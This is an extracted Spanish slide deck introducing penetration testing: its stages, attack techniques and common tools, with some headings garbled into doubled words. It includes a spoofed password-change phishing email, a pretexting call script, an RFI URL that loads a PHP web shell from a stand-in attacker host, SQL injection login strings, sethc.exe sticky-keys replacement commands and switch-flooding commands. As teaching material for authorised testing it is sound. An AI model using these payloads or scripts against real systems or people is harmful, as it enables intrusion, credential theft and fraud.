2. CONTENIDO
Introducción
Que es un Penetration Testing?
Cuales son las ventajas de un Penetration Testing?
Tipos de Penetration Testing
Etapas de un Penetration Testing
Info Gathering
Escaneo y Enumeración
Planteamiento del ataque
Ataque
Elaboración de los Reportes
3. Técnicas Usadas en un Penetration Testing
Ingeniería Social
Fingerprinting
Escaneo de puertos TCP – UDP
Enumeración y detección de servicios vulnerables
Ataques a protocolos de red
Ataques a Web Aplications
Técnicas de evasión de Firewalls
Ejecución de Código Arbitrario
Desbordamientos de Memoria
Escalamiento de Privilegios
Borrado de Huellas
CONTENIDO (Cont.)
4. CONTENIDO (Cont.)
Herramientas utilizadas en un Penetration Testing
Comandos desde la Shell
Port scanners
Vulnerability scanners
Sniffers
Password Cracking Tools
Constructores de paquetes
Advisories
Exploits
Troyanos
Software de Administración Remota
Aclaración:
Estas son solo algunas de las
herramientas Utilizadas en un
Penetration Testing, existen otras
muchas mas dependiendo el tipo
de red, Topología y Sistema
Operativo.
6. Introducción
Hoy día hay una enorme necesidad de seguridad en las redes de
computadoras. Pero esto no es casualidad: nuestra vida diaria depende
de una manera impresionante de los sistemas informáticos.
Además, la evolución rápida y la demanda por la tecnología han traído
como consecuencia que los programadores de software, en muchas
ocasiones, releguen la seguridad a segunda prioridad.
Es ante esta falta de seguridad que desde individuos a corporaciones
caen víctimas de piratas informáticos.
Es aquí donde juega un papel relevante el Ethical Hacking o Hacking
Ético. Una disciplina de la seguridad de redes que se sustenta en el
hecho de que para estar protegido se debe conocer cómo operan y qué
herramientas usan los hackers.
Estos llamados Hackers Eticos (PEN-TESTER, por sus siglas en inglés)
desarrollan lo que en la jerga de seguridad se conoce como Prueba de
Penetración, (PEN-TEST por sus siglas en inglés).
8. Es un conjunto de metodologías y técnicas para realizar una
evaluación integral de las debilidades de los sistemas
informáticos. Consiste en un modelo que reproduce intentos
de acceso no autorizado a cualquier entorno informático de
un intruso potencial desde los diferentes puntos de entrada
que existan, tanto internos como externos. Se debe tener el
permiso de la empresa para realizar las pruebas.
QUE ES UN PENETRATION TESTING?
9. VENTEJAS DE UN PENETRATION TESTING
Generar una visión de los riesgos y su impacto en la
organización.
Identificar los problemas y darles una solución
inmediata.
Implementación de nuevos y mejores modelos de
seguridad resultantes de las pruebas de intrusión
externas e internas.
Adelantarse a los Crackers, empleados o ex-
empleados a identificar las vulnerabilidades del
Sistema.
Generar mayor presupuesto para el área de
Seguridad de la Información o Sistemas Informáticos.
10. Obtención de
Información
Detección de
Vulnerabilidades
Análisis y planeamiento
de la información
Ataque /
Escalar privilegios
Analisis de Resultados
y Reportes
Limpieza
LISTO?
Reposición / Pivot
Obtener tanta
información como
sea posible del
destino.
Ataque, tomando ventaja de las
vulnerabilidades detectadas.
Comprometer un host obteniendo
privilegios de system/user.
Cambios en los demas ataques - Tomar
ventaja de los privilegios en sistemas obtenidos
Dejar todo como estaba antes del ataque
Entender la relación entre los
componentes.
Planeamiento del ataque.
Identificación del destino.
Definición de
alcance/objetivo
Definición de alcance
Detección de
vulnerabilidades
Reportes
Fueron los
objetivos
alcanzados?
SI
NO
Que probar?
Donde probar?
Perfil del atacante.
Detección de Vulnerabilidades Penetration Testing
Obtención de
Información
DETECCION DE VULNERABILIDADES VS. PENTEST
19. ETAPAS DE UN PENETRATION TESTING
Esta es la primera etapa, donde se trata de obtener la
mayor cantidad de información de la empresa a la cual
se le hará el PenTest.
1 - Info Gathering1 - Info Gathering
Nombre de la empresa y rubro
Significado completo de las siglas de la Empresa
Número de empleados, áreas y departamentos de trabajo
Nombres del personal, Gerencias y Sub-Gerencias
Números de las Centrales Telefónicas, Internos
Pagina Web, número de servidores
S.O. de las estaciones de trabajo, número de workstations
Nombre de la empresa y rubroNombre de la empresa y rubro
Significado completo de las siglas de la EmpresaSignificado completo de las siglas de la Empresa
NNúúmero de empleados,mero de empleados, ááreas y departamentos de trabajoreas y departamentos de trabajo
Nombres del personal, Gerencias y SubNombres del personal, Gerencias y Sub--GerenciasGerencias
NNúúmeros de las Centrales Telefmeros de las Centrales Telefóónicas, Internosnicas, Internos
Pagina Web, nPagina Web, núúmero de servidoresmero de servidores
S.O. de las estaciones de trabajo, nS.O. de las estaciones de trabajo, núúmero de workstationsmero de workstations
20. ETAPAS DE UN PENETRATION TESTING
En esta etapa, se realiza el barrido de IP’s en busca de
puertos abiertos para luego pasar a la enumeración de
Puertos y Servicios activos en el server remoto.
2 - Escaneo y Enumeración2 - Escaneo y Enumeración
21. ETAPAS DE UN PENETRATION TESTING
Con toda la información obtenida de las etapas
anteriores, acá nos encargamos de medir el alcance
de nuestro Penetration Testing, en base a la
información recopilada, dirigiendo nuestro ataque
hacia:
- Puertos abiertos
- Servicios Web vulnerables
- Aplicaciones mal programadas
- Sistemas Operativos desactualizados
- Equipos de red mal configurados
3 - Planteamiento del Ataque3 - Planteamiento del Ataque
22. ETAPAS DE UN PENETRATION TESTING
En base a nuestro Plan de Ataque, en esta etapa llevamos a
cabo todas las pruebas de intrusión planeadas para que de
alguna forma, logremos acceder al server remoto o ejecutar
código remoto arbitrario.
4 - Ejecución del Ataque4 - Ejecución del Ataque
23. ETAPAS DE UN PENETRATION TESTING
Esta es la última etapa en la cual se realizan los informes
finales a la Alta Gerencia y la Gerencia de Sistemas, en los
cuales debe ir toda la información resumida de las
vulnerabilidades encontradas, los resultados del Penetration
Testing y las soluciones posibles a corto y mediano plazo
para realizar en la empresa.
5 - Elaboración de los Reportes5 - Elaboración de los Reportes
25. TÉCNICAS USADAS EN UN PEN-TEST
Convencer a la gente de que haga algo que normalmente
no debería, o nos de información clasificada
Ingeniería SocialIngeniería Social
Algún buen chico que quiera a ayudar a una linda chica en
apuros ?????
Maria:
26. TÉCNICAS USADAS EN UN PEN-TEST
Existen varias técnicas, como:
Presénciales – Semipresenciales – No presenciales
Agresivas – No agresivas
Ingeniería SocialIngeniería Social
From: Super-User <root@miempresa.net>
To: Usuario <usuario_x@miempresa.net>
Subject: Cambio de clave
Buen dia,
Para realizar una serie de pruebas orientadas a conseguir un optimo
funcionamiento de nuestro sistema, es necesario que cambie su clave. Hasta que
reciba un nuevo aviso (aproximadamente en una
semana), por favor, asigne a su contraseña el valor ‘AES123' (en
mayusculas).
Rogamos disculpe las molestias.
Saludos
Administrador
Gerencia de Sistemas
Este es un ataque típico de e-mail spoofing hacia un cliente que mediante Ing.
Social se a descubierto que no tiene conocimientos sólidos en Seguridad
Informática, el cual seguirá al pie de la letra las instrucciones.
27. TÉCNICAS USADAS EN UN PEN-TEST
Ingeniería SocialIngeniería Social
Administrador: Buenos días, aquí área de sistemas, en qué podemos
ayudarle?
Atacante: Hola, soy Juan Pérez, Gerente de Créditos, llamaba porque no
consigo recordar mi password en la máquina cliente027.miempresa.net
Administrador: Un momento, me puede decir su nombre de usuario?
Atacante: Sí, claro, es jperez.
Administrador: Muy bien, la nueva contraseña que acabo de asignarle
es password1234 . Por favor, no olvide cambiarla.
Atacante: Por supuesto. Muchas gracias, ha sido muy amable.
Administrador: De nada, un saludo.
Este es otro ataque de Ing. Social, que se realiza muy a
menudo no solo para obtener la contraseña, sino para obtener
números telefónicos, de celulares, direcciones y otras cosas
que su imaginación les permita.
28. TÉCNICAS USADAS EN UN PEN-TEST
FingerprintingFingerprinting
Detectar el S.O. del Host remoto y sacar la mayor cantidad
de información de él.
HEAD / HTTP/1.0
30. TÉCNICAS USADAS EN UN PEN-TEST
Escaneo de puertos TCP - UDPEscaneo de puertos TCP - UDP
Búsqueda de puertos abiertos para enumeración de puertos
y servicios remotos del Host.
Esta técnica, esta compuesta por otras mas complejas para
poder escanear a través de Firewalls, como ser construcción
de paquetes, escaneos con filtros de protocolo ICMP,
escaneos con los flags del encabezado TCP, forzar
respuestas ante peticiones válidas e invalidas, etc., etc.
31. TÉCNICAS USADAS EN UN PEN-TEST
Escaneo de puertos TCP - UDPEscaneo de puertos TCP - UDP
NMap, uno de los mejores escanners de Puertos.
32. TÉCNICAS USADAS EN UN PEN-TEST
Enumeración y Detección de Servicios VulnerablesEnumeración y Detección de Servicios Vulnerables
Todo Pen-Test debe llevar un registro ordenado de todos los
puertos y servicios activos en el Host remoto, para así
poder hacerse una imagen del posible escenario de ataque.
http://www.iana.org/assignments/port-numbers
33. TÉCNICAS USADAS EN UN PEN-TEST
Enumeración y Detección de Servicios VulnerablesEnumeración y Detección de Servicios Vulnerables
34. TÉCNICAS USADAS EN UN PEN-TEST
Ataques a protocolos de RedAtaques a protocolos de Red
Esta técnica es uno de los primeros tipos de ataques que se realizan
en un Pen-Test para sacar información del Host remoto, unidades
compartidas, nombre del server, Dominio en el que trabaja,
direcciones MAC, software instalado y hasta podemos conectarnos a
Host remoto mapeando todas sus unidades a nuestra máquina,
logrando acceder a información
confidencial en muchos casos.
obviamente todo esto se realiza si los
puertos 137,138 y 139 están abiertos
35. TÉCNICAS USADAS EN UN PEN-TEST
Ataques a protocolos de RedAtaques a protocolos de Red
macof -i eth1
Spanning Tree Protocol (STP).
Cisco Discovery Protocol (CDP).
Dynamic Trunking Protocol (DTP).
Dynamic Host Configuration Protocol (DHCP).
Hot Standby Router Protocol (HSRP).
802.1q.
Inter-Switch Link Protocol (ISL).
VLAN Trunking Protocol (VTP).
dhcpstarv -i eth0
36. TÉCNICAS USADAS EN UN PEN-TEST
Ataques a protocolos de RedAtaques a protocolos de Red
37. TÉCNICAS USADAS EN UN PEN-TEST
Ataques a protocolos de RedAtaques a protocolos de Red
38. TÉCNICAS USADAS EN UN PEN-TEST
Ataques a protocolos de RedAtaques a protocolos de Red
DoS
39. TÉCNICAS USADAS EN UN PEN-TEST
Evasión de FirewallsEvasión de Firewalls
Existen varias formas de evadir los firewalls, una de las masExisten varias formas de evadir los firewalls, una de las mas
simples es por deduccisimples es por deduccióón ln lóógica.gica.
Internet
ISP
Web 80
FTP 21
SMTP 25
SQL 1433
Ssh 22
Rdesk 3389
DMZ
LAN
41. TÉCNICAS USADAS EN UN PEN-TEST
Evasión de FirewallsEvasión de Firewalls
Donde:
xxx.xxx.xxx.xxx= ip del equipo vulnerado mediante sql injection.
yyy.yyy.yyy.yyy= ip del equipo target real.
r 22= al puerto que tratamos de conectar por detrás del firewall.
s 22= el puerto exacto origen.
l 135= el puerto permitido por el firewall.
42. TÉCNICAS USADAS EN UN PEN-TEST
Ejecución de Código ArbitrarioEjecución de Código Arbitrario
Esta técnica se puede realizar encontrando Bugs tanto en las
Web Aplications, como en los diferentes servicios que se
ejecutan en el Host remoto y consiste en aprovechar alguna
falla para hacer que dicho Host, realice acciones o ejecute
comandos en forma arbitraria para lo cual no esta programado.
Pudiendo pedirle que realice desde un simple Ping a nuestro
equipo, hasta pedirle que nos envíe su shell a un puerto
específico en nuestro equipo, que nos liste sus directorios y
archivos, que nos envíe cualquier archivo que le pidamos, entre
otras muchas cosas más que se pueden hacer.
43. TÉCNICAS USADAS EN UN PEN-TEST
Ejecución de Código ArbitrarioEjecución de Código Arbitrario
44. TÉCNICAS USADAS EN UN PEN-TEST
Ejecución de Código ArbitrarioEjecución de Código Arbitrario
45. TÉCNICAS USADAS EN UN PEN-TEST
Cross Site Scripting XSSCross Site Scripting XSS
Es una técnica que permite explotar
una vulnerabilidad debido a la mala
programación y el filtrado no eficaz de
los datos, la misma se basa en
métodos de programación para
ejecutar scripts arbitrarios y
maliciosos en el cliente (JavaScript,
VBscript, Activex).
46. TÉCNICAS USADAS EN UN PEN-TEST
Remote File InclusionRemote File Inclusion
RFI es una vulnerabilidad php que permite enlazar archivos que
estan en servidores remotos, esta vulnerabilidad se produce por
una mala programacion del webmaster. Es una de las técnicas de
deface mas conocida.
http://www.victima.com/index.php?page=plantilla.html
El atacante podrá obtener una Shell en el servidor vulnerable
mediante lo siguiente:
http://www.victima.com/index.php?page=http://www.atacante.com/shell.txt&&cmd=ls
Pudiendo contener el archivo shell.txt cualquier código, por ejemplo:
<?
system($cmd);
?>
47. TÉCNICAS USADAS EN UN PEN-TEST
Inyección SQLInyección SQL
Login: yo' or 1=1--
Pass: yo' or 1=1--
http://example.com/login.asp?id=yo' or 1=1--
Es una vulnerabilidad en el nivel de la validación de las entradas a
la base de datos de una aplicación. El origen es el filtrado
incorrecto de las variables utilizadas en las partes del programa
con código SQL.
48. TÉCNICAS USADAS EN UN PEN-TEST
Ataque a las Web AplicationsAtaque a las Web Aplications
SMTP
HTTP
Sendmail
Exchange
Apache
IIS
Unix/LinuxUnix/Linux
MicrosoftMicrosoft
Unix/LinuxUnix/Linux
MicrosoftMicrosoft
FTP
SSH
PROXY
WU_FTPd
FTP Server
Ssh
Squid
Wingate
Unix/LinuxUnix/Linux
MicrosoftMicrosoft
Unix/LinuxUnix/Linux
MicrosoftMicrosoft
Unix/LinuxUnix/Linux
MicrosoftMicrosoft
En esta parte del ataque de
acuerdo a la información
obtenida, se trata de vulnerar el
Host remoto mediante algún
Bug en una de las Web
Aplications instaladas. A esto se
suman los ataques CGI’s, BOF,
ejecución de código arbitrario,
transversal directorys y otros
mas.
49. TÉCNICAS USADAS EN UN PEN-TEST
Desbordamiento de MemoriaDesbordamiento de Memoria
Sucede cuando los datos enviados a un determinado servicio, exceden
lo esperado, entonces se desborda la memoria del Buffer y se pueden
sobrescribir los datos de retorno.
Las consecuencias de ataques de este tipo pueden ser
Ataques de denegación de servicio
Ejecución de Código Arbitrario Remoto
Ganar privilegios sobre el sistema
Dar acceso a información critica
Acciones destructivas
La mayoría de los ataques en Internet hoy en día inclusive la de los
virus y gusanos utilizan técnicas de desbordamiento de memoria o
Buffer Over Flows como se las conoce.
50. TÉCNICAS USADAS EN UN PEN-TEST
Escalamiento de PrivilegiosEscalamiento de Privilegios
Cuando se logra acceder de alguna forma al sistema remoto y no se
tienen los privilegios necesarios para continuar, es ahí donde se aplica
esta técnica para elevar los privilegios en el Host remoto.
ren sethc.exe sethc2.exe
copy cmd.exe cmd2.exe
copy cmd2.exe sethc.exe
c:control userpasswords
51. TÉCNICAS USADAS EN UN PEN-TEST
Borrado de HuellasBorrado de Huellas
Este es el último paso de un Pen-Test. Después de haber logrado acceder al Host
remoto, haber capturado información confidencial o sensible y haber saltado
todo sus sistema de seguridad, viene el borrado de huellas.
56. HERRAMIENTAS USADAS EN UN PEN-TEST
Port ScannersPort Scanners
Escaners de puertos los cuales nos ayudan a identificar servicios y
Web Aplications posiblemente vulnerables..
NMap, considerado
como la navaja
suiza de Internet,
permite
construcción de
paquetes,
fragmentación,
filtros ICMP y
muchas cosas mas.
57. HERRAMIENTAS USADAS EN UN PEN-TEST
Vulnerability ScannersVulnerability Scanners
Nessus detecta las vulnerabilidades presentes en una red (Sistemas Operativos,
equipos de red, etc.) generando reportes y posibles soluciones.
58. HERRAMIENTAS USADAS EN UN PEN-TEST
Vulnerability ScannersVulnerability Scanners
Uno de los
scanners de
vulnerabilidades
mas poderosos
que existe para
servidores SQL
y Lotus Notes
de IBM
AppDetective 4.0
59. HERRAMIENTAS USADAS EN UN PEN-TEST
Vulnerability ScannersVulnerability Scanners
Scanner creado
por el Grupo de
Seguridad GFI,
utilizado por la
DEA y el FBI para
análisis de redes y
vulnerabilidades,
uno de los
mejores con la
excepción de que
cuando se
encuentra con un
Firewall, muere el
escaneo.
Languard Network
Security Scanner
61. HERRAMIENTAS USADAS EN UN PEN-TEST
Sniffers en la Red LocalSniffers en la Red Local
Wireshark
Herramienta que coloca
nuestra placa de red en
modo promiscuo para
que podamos escuchar
y aceptar todos los
paquetes que envían y
que les llegan a los
otros equipos.
Tiene filtros de
protocolos para
identificar la
información de manera
mas rápida y no
funciona en redes
switcheadas (a menos
que se configure un
puerto del switch en
modo mirror)
62. HERRAMIENTAS USADAS EN UN PEN-TEST
Sniffers en la Red LocalSniffers en la Red Local
Captura de una sesión de correo con Ethereal
Captura de una sesión de Telnet Captura de una sesión en Mixmail
Captura de una sesión en
Hotmail
63. HERRAMIENTAS USADAS EN UN PEN-TEST
Password Cracking ToolsPassword Cracking Tools
Rompe contraseñas de NetBIOS
Remotamente John The Ripper el mejor Crackeador de
contraseñas Unix – Linux y derivados
CAIN,
crackeador de
múltiples
algoritmos de
cifrado y
opciones extras,
como sniffer.
64. HERRAMIENTAS USADAS EN UN PEN-TEST.?
Password Cracking ToolsPassword Cracking Tools
L0phtcrack 4.0
El mejor Crackeador de
contraseñas para
sistemas Windows.
Puede sacar las
contraseñas desde el
equipo local, desde un
registro remoto, desde
un archivo SAM desde
un archivo PWDUMP o
desde cualquier otro
archivo LC.
Tiene sistema de
ataque por Diccionario,
Brute Force e Híbrido.
65. HERRAMIENTAS USADAS EN UN PEN-TEST
Constructores de PaquetesConstructores de Paquetes
hping2
Conocido también como el ping con esteroides !!! Una de las
mejores herramientas para construcción de paquetes
-c 1: cuenta los paquetes.
-S: especifica que utilizaremos paquetes con flags SYN.
-p 80: especifica el puerto en este caso 80 (HTTP).
Ahora la respuesta:
ip=64.233.187.99: es la io que resolvio hping2.
ttl=241: Time to Alive.
sport=80: el puerto.
flags=SA: Esto es lo que nos interesa, SA significa que envio un paquete
con los flags SYN y ACK, lo cual quiere decir, que nuestro paquete llego
correctamente y que el puerto esta abierto cheesy.
Ahora un ejemplo de puerto cerrado:
Flags=RA En este caso resibimos RST y ACK o sea que el puerto esta cerrado
66. Constructores de PaquetesConstructores de Paquetes
HERRAMIENTAS USADAS EN UN PEN-TEST
Nemesis
Es un inyector de paquetes, su
funcionamiento consiste en enviar
tramas de datos a una red
utilizando el protocolo tcp/ip. Se
utiliza para probar y depurar
servicios de red específicos. Es
ideal para auditar servicios de
red, pero también puede ser
utilizada para realizar ataques a
una red, como una inundación
UDP y ARP poison.
Soporta ARP, DNS, ICMP, IGMP,
OSPF, RIP, TCP, UDP, protocolos
capa 2 y capa 3.
67. HERRAMIENTAS USADAS EN UN PEN-TEST
AdvisoriesAdvisories
www.securityfocus.com
Considerado
como uno de
los mejores
Advisories ya
que muestra
información
del software
afectado, una
discusión del
problema, el
Exploit y la
forma de
solucionarlo.
68. HERRAMIENTAS USADAS EN UN PEN-TEST
ExploitsExploits
Programas dedicados a aprovechar
ciertas fallas en una determinada
aplicación o servicio.
Generalmente son
programados en C o
en Perl, pero los hay
también eh Java,
Visual, scripts, html,
assembler, etc.
http://www.metasploit.com
70. HERRAMIENTAS USADAS EN UN PEN-TEST
TroyanosTroyanosEl uso de troyanos se utiliza
como técnica para elevar los
privilegios en el Sistema
remoto, para así llegar a
tener un control total del
Host remoto.
Existen hoy en día
técnicas para evasión
de los antivirus en
ambientes donde
troyano y antivirus
pueden vivir en
armonia.
Existen hoy en día
técnicas para evasión
de los antivirus en
ambientes donde
troyano y antivirus
pueden vivir en
armonia.
71. HERRAMIENTAS USADAS EN UN PEN-TEST
Software de Administración RemotaSoftware de Administración Remota
Software que no es
del grupo de los
troyanos pero que
se utiliza con el
mismo objetivo,
llegar a tener
control total del
Host remoto.
72. HERRAMIENTAS USADAS EN UN PEN-TEST.?
Distribucion para AuditoriaDistribucion para Auditoria
Existen varias distribuciones de Linux para realizar pruebas de seguridad, por
ejemplo BackTrack, Pentoo, Kanoppix-STD, nUbuntu, Wifislax, etc.